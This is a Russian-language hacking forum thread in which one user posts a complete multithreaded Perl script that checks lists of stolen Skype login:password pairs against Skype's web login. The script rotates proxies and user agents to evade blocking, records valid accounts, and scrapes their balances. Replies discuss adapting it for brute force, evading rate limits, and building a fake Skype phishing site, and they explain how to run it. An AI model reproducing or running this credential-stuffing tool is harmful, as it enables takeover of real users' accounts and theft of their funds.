PDA

Просмотр полной версии : [PERL] Skype Cheker by Gaus


Gaus
23.06.2009, 16:24
Написал недавно, мб кому-то пригодится;)
[ + ] Многопоточность
[ + ] Поддержка прокси
[ + ] Определение баланса валидных аккаунтов
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###################################
my $threads = 1; # Кол-во потоков
my $accs_file = 'data/accs.txt'; # Файл со списком аккаунтов
my $accs_delm = ':'; # Разделитель списка аккаунтов
my $proxy_file = 'data/proxy.txt';# Файл со списком proxy
my $proxy_mode = 'OFF'; # Режим использования proxy(ON/OFF)
my $delay = 0; # Задержка
###################################
$| = 1;
system 'title Skype Checker (c) Gaus 2010 icq 648249';
system 'color A';
my @accs : shared = lf($accs_file);
my @proxy : shared = lf($proxy_file);
my $valid : shared = 0;
my $invalid : shared = 0;
my $err : shared = 0;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
while(@accs)
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
my ($login, $pass) = split $accs_delm => shift @accs;
GET:
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my $answ = $ua->post('https://secure.skype.com/account/intl/ru/login',
['invite_token' => '',
'timezone_field' => '+02|00',
'username' => $login,
'password' => $pass])->as_string;
if($answ =~ m,302 Found,i)
{
{
lock $valid;
++$valid
}
my $req = $ua->get('https://secure.skype.com/account/intl/ru/')->content;
if($req =~ m,;</span>(.+?)</span>,i)
{
$pass .= ';'.$1
}
wf('valid_accs.txt', "$login:$pass\n");
cout("[ + ] Valid account[$login:$pass] \n")
}
elsif($answ =~ m,Ошибка идентификации,i)
{
{
lock $invalid;
++$invalid
}
wf('invalid_accs.txt', "$login:$pass\n");
cout("[ - ] Invalid account[$login:$pass] \n")
}
elsif($answ =~ m,405 Method|500 read|500 Can't|CoDeeN,i)
{
cout("[ ~ ] Error proxy, trying again... \n");
goto GET
}
else
{
{
lock $err;
++$err
}
wf('error_accs.txt', "$login:$pass\n");
cout("[ - ] Error account[$login:$pass] \n")
}
sleep $delay
}
}
sub proxy
{
my $ua = shift;
my ($ip, $port) = split ':' => $proxy[rand scalar @proxy];
$ua->proxy('http' => 'http://'.$ip.':'.$port);
my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
cout("[ + ] Try proxy[$ip:$port] \n");
return 1
}
else
{
cout("[ - ] Bad proxy[$ip:$port] \n");
return 0
}
}
sub agent
{
my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];
return $agents[rand scalar @agents]
}
sub cout
{
print $_[0];
print "[Valid: $valid | Invalid: $invalid | Error: $err]\r"
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat
}
Download (http://www.sendspace.com/file/ikobqg)

Spyder
23.06.2009, 20:44
кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб

[n]-c0der
23.06.2009, 21:07
кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб
Уже написали )), к примеру скайп флудер на пайтоне использующий библиотеку скайповскую.

Grinya11
27.06.2009, 23:21
А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как

Grinya11
27.06.2009, 23:23
эт скайп серв блочит множество запросов с одного ип?

Gaus
29.06.2009, 00:15
эт скайп серв блочит множество запросов с одного ип?
мб,вроде если брутить на один пасс множество логинов, то вроде не блочит.

Grinya11
02.07.2009, 00:05
ну да только если так! Вот мучу щас фейк скайпа сайта, всучу комунить

Gaus
02.07.2009, 22:23
А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как
Реально, могу сделать, но это никому не нужно

!JaX!
18.11.2009, 23:58
C:\skype brut>cmd
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\skype brut>brut.pl
Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
kype brut\brut.pl line 34.

C:\skype brut>


Что не так?

Gaus
20.11.2009, 00:46
C:\skype brut>cmd
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\skype brut>brut.pl
Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
kype brut\brut.pl line 34.

C:\skype brut>


Что не так?
Упс, я забыл кусок кода вставить:) попробуй заново

svesve
20.11.2009, 02:30
А есть ли у кого питоновский скриптик для флуда???
или софт для флуда?
Раньше помню был SkypeKiller но я его куда то похерел

toby1980
23.11.2009, 19:20
кто сбрутил уже? есть счастливчики?

axe89
04.12.2009, 22:11
а как запустить то?

axe89
04.12.2009, 22:17
ну подскажите как запустить я вроде всё правельно зделал а чёто не работает

Gaus
06.12.2009, 11:19
ну подскажите как запустить я вроде всё правельно зделал а чёто не работает
Качаешь ActivePerl (http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.1.1006-MSWin32-x86-291086.msi), затем качаешь скрипт, настраиваешь его и запускаешь файл run.bat

ВоЕН КОТЭ
08.12.2009, 19:34
спасибо)

Krist_ALL
08.12.2009, 19:38
фигня какаята(
через веб чекать убога

Gaus
22.01.2010, 17:43
Опять недоглядел, забыл последнюю функцию вставить)
Обновил первый пост.

Pyhin
27.01.2010, 08:24
Спасибо работает!